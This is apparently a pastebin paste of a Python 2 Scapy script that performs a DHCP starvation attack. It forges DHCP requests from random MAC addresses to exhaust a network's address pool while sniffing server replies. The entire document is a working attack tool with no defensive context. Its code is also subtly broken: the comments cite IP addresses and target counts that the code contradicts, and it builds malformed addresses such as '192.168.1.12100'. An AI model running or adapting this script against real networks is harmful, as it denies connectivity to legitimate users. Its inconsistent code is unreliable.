· 9 years ago · Oct 13, 2016, 06:36 AM
1from scapy.all import *
2from time import sleep
3from threading import Thread
4
5class DHCPStarvation(object):
6 def __init__(self):
7 # Generated MAC stored to avoid same MAC requesting for different IP
8 self.mac = [""]
9
10 # Requested IP stored to identify registered IP
11 self.ip = []
12
13 def handle_dhcp(self, pkt):
14 if pkt[DHCP]:
15 # if DHCP server reply ACK, the IP address requested is registered
16 # 10.10.111.107 is IP for bt5, not to be starved
17 if pkt[DHCP].options[0][1]==5 and pkt[IP].dst != "192.168.1.12":
18 self.ip.append(pkt[IP].dst)
19 print str(pkt[IP].dst)+" registered"
20
21 # Duplicate ACK may happen due to packet loss
22 elif pkt[DHCP].options[0][1]==6:
23 print "NAK received"
24
25 def listen(self):
26 # sniff DHCP packets
27 sniff(filter="udp and (port 67 or port 68)",
28 prn=self.handle_dhcp,
29 store=0)
30
31 def start(self):
32 # start packet listening thread
33 thread = Thread(target=self.listen)
34 thread.start()
35 print "Starting DHCP starvation..."
36
37 # Keep starving until all 100 targets are registered
38 # 100~200 excepts 107 = 100d
39 while len(self.ip) < 254: self.starve()
40 print "Targeted IP address starved"
41
42 def starve(self):
43 for i in xrange(101):
44 # don't request 10.10.111.107
45 if i == 7: continue
46
47 # generate IP we want to request
48 # if IP already registered, then skip
49 requested_addr = "192.168.1.12"+str(100+i)
50 if requested_addr in self.ip:
51 continue
52
53 # generate MAC, avoid duplication
54 src_mac = ""
55 while src_mac in self.mac:
56 src_mac = RandMAC()
57 self.mac.append(src_mac)
58
59 # generate DHCP request packet
60 pkt = Ether(src=src_mac, dst="ff:ff:ff:ff:ff:ff")
61 pkt /= IP(src="0.0.0.0", dst="255.255.255.255")
62 pkt /= UDP(sport=68, dport=67)
63 pkt /= BOOTP(chaddr=RandString(12, "0123456789abcdef"))
64 pkt /= DHCP(options=[("message-type", "request"),
65 ("requested_addr", requested_addr),
66 ("server_id", "192.168.1.1"),
67 "end"])
68 sendp(pkt)
69 print "Trying to occupy "+requested_addr
70 sleep(0.2) # interval to avoid congestion and packet loss
71
72if __name__ == "__main__":
73 starvation = DHCPStarvation()
74 starvation.start()